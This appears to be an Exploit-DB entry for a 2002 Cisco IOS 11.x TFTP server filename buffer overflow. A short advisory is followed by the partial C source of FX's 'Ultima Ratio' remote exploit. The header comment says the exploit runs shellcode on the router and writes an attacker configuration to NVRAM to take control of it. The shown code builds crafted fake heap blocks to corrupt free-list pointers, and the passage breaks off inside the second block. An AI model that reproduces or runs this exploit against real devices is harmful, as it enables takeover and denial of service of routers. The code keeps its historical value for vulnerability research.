Exploit-DB #21655
Description: Cisco IOS 11.x - TFTP Server Long File Name Buffer Overflow
Type: dos
Platform: hardware
Date: 2002-07-26
Author: FX

Exploit:
// source: https://www.securityfocus.com/bid/5328/info

A problem has been discovered in Cisco IOS and MGX switches that could result in a denial of service, and potential code execution.

It has been discovered that the TFTP server file name handling of Cisco IOS is vulnerable to a buffer overflow. This overflow results due insufficient bounds checking on requested file names. A request for a file name of 700 or more bytes will result a crash of the router, and reboot of the device.

On Cisco MGX switches, the TFTP service will fail but the device will continue to function.

Cisco IOS versions 12.0 and later are not prone to this issue. Cisco has assigned Cisco Bug ID CSCdy03429 to this vulnerability.

Cisco has announced that some MGX switches are also affected by this issue. Cisco has assigned Cisco Bug ID CSCdy03429 to this vulnerability.

/*

                         --== P H E N O E L I T ==--

               ____  _______                      _____       _______

     ____   ____  / /__  __/  __   ___ ______    /    /______/__  __/   ______

    /   /  /   / /    / / -*-/  \_/  //     /   /    /      /  / / -*- / __  /

   /   /  /   / /    / / __ / /\_// // __  /   / /\ \  __  /  / / __  / / / /

  /   /__/   / /____/ / / // /   / // / / /   / / / / / / /  / / / / / /_/ /

 /__________/______/_/ /_//_/   /_//_/ /_/   /_/ /_/_/ /_/  /_/ /_/ /_____/


*/


/* Cisco IOS Heap exploit prove of concept "Ultima Ratio".

 * by FX of Phenoelit <fx@phenoelit.de>

 * http://www.phenoelit.de

 *

 * Black Hat Briefings 2002 / Las Vegas

 * DefCon X 2002 / Las Vegas

 * 

 * Cisco IOS 11.1.x to 11.3.x TFTP-Server

 * If a TFTP server for a flash file is configured, a long filename in the TFTP 

 * request will overflow a heap buffer. The attached program is a PoC to exploit 

 * this vulnerability by executing "shell code" on the router and write the 

 * attached configuration into NVRAM to basically own the router. 

 *

 * Command line argument -p XXXXXXXX most definetly required. Obtain from syslog 

 * host or any other means possible. The stack address changes by image. 

 * Find the right one for the IOS build you are running and if you feel like it, 

 * send it to me.

 *

 * Kiddy Warnings: 

 * - It will NOT work in fire-and-forget mode. 

 * - The shellcode is only good for Cisco 1000 and 1600 series.

 * - This code is not for illegal use. 

 *

 * $Id: UltimaRatioVegas.c,v 1.1 2002/07/26 16:39:38 $

 */

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <netinet/in.h>

#include <rpc/types.h>

#include <netdb.h>

#include <sys/socket.h>

#include <arpa/inet.h>

#include <errno.h>


#include <sys/ioctl.h>

#include <netinet/in.h>                

#include <netpacket/packet.h>

#include <net/ethernet.h>               

#include <net/if.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <fcntl.h>



typedef struct {

    u_int16_t	opcode			__attribute__((packed));

    u_int8_t	file			__attribute__((packed));

    u_int8_t	type			__attribute__((packed));

} tftp_t;


typedef struct {

    u_int16_t   magic                   __attribute__((packed));

    u_int16_t   one                     __attribute__((packed));

    u_int16_t   checksum                __attribute__((packed));

    u_int16_t   IOSver                  __attribute__((packed));

    u_int32_t   unknown                 __attribute__((packed));

    u_int32_t   ptr                     __attribute__((packed));

    u_int32_t   size                    __attribute__((packed));

} nvheader_t;


struct {

    int			verbose;

    int			test;

    char		*filename;

    unsigned int	overflow;

    u_int32_t		prev;

    u_int32_t		next;

    u_int32_t		offset;

    u_int32_t		buffer_location;

    u_int32_t		stack_address;

    unsigned int	nop_sleet;

    int			dot1;

} cfg;


u_int16_t	chksum(u_char *data, unsigned long count);

void		hexdump(unsigned char *bp, unsigned int length);

void		usage(char *s);


#define MAX_SIZE	1472

#define XOR_PAT		0xD5


#define FB_PREV		28

#define FB_NEXT		24

#define FB_FREENEXT	60

#define FB_FREEPREV	64


#define SPLASH		\

	"Phenoelit ULTIMA RATIO\n" \

	" Cisco IOS TFTP-Server remote exploit (11.1.-11.3)\n" \

	" (C) 2002 - FX of Phenoelit <fx@phenoelit.de>\n" 


int main(int argc, char **argv) {

    char		option;

    extern char		*optarg;

    unsigned int	i;


    /* confg file */

    int                 fd;

    struct stat         sb;


    u_char              *buffer;

    u_char              *p;

    nvheader_t          *nvh;

    unsigned int        len;

    u_int16_t           cs1;

    u_int32_t		temp;


    /* Network */

    int			sfd;

    struct in_addr	dest;

    struct sockaddr_in  sin;


    /* the packet */

    unsigned int	psize = 0;

    u_char		*pack;

    tftp_t		*tftp;

    char		tftp_type[] =	"PHENOELIT";

    char		terminator[] =	"\xCA\xFE\xF0\x0D";



    char		fakeblock[] =

	"\xFD\x01\x10\xDF"	// RED

	"\xAB\x12\x34\xCD"	// MAGIC

	"\xFF\xFF\xFF\xFF"	// PID

	"\x80\x81\x82\x83"	// 

	"\x08\x0C\xBB\x76"	// NAME

	"\x80\x8a\x8b\x8c"	// 


	"\x02\x0F\x2A\x04"	// NEXT 

	"\x02\x0F\x16\x94"	// PREV 


	"\x7F\xFF\xFF\xFF"	// SIZE 

	"\x01\x01\x01\x01"	// 

	"\xA0\xA0\xA0\xA0"	// padding ?

	"\xDE\xAD\xBE\xEF"	// MAGIC2

	"\x8A\x8B\x8C\x8D"	// 

	"\xFF\xFF\xFF\xFF"	// padding 

	"\xFF\xFF\xFF\xFF"	// padding 


	"\x02\x0F\x2A\x24"	// FREE NEXT (BUFFER)

	"\x02\x05\x7E\xCC"	// FREE PREV (STACK of Load Meter, return address)


	;


    char		fakeblock_dot1[] =

	"\xFD\x01\x10\xDF"	// RED

	"\xAB\x12\x34\xCD"	// MAGIC

	"\xFF\xFF\xFF\xFF"	// PID

	"\x80\x81\x82\x83"	// 

	"\x08\x0C\xBB\x76"	// NAME

	"\x80\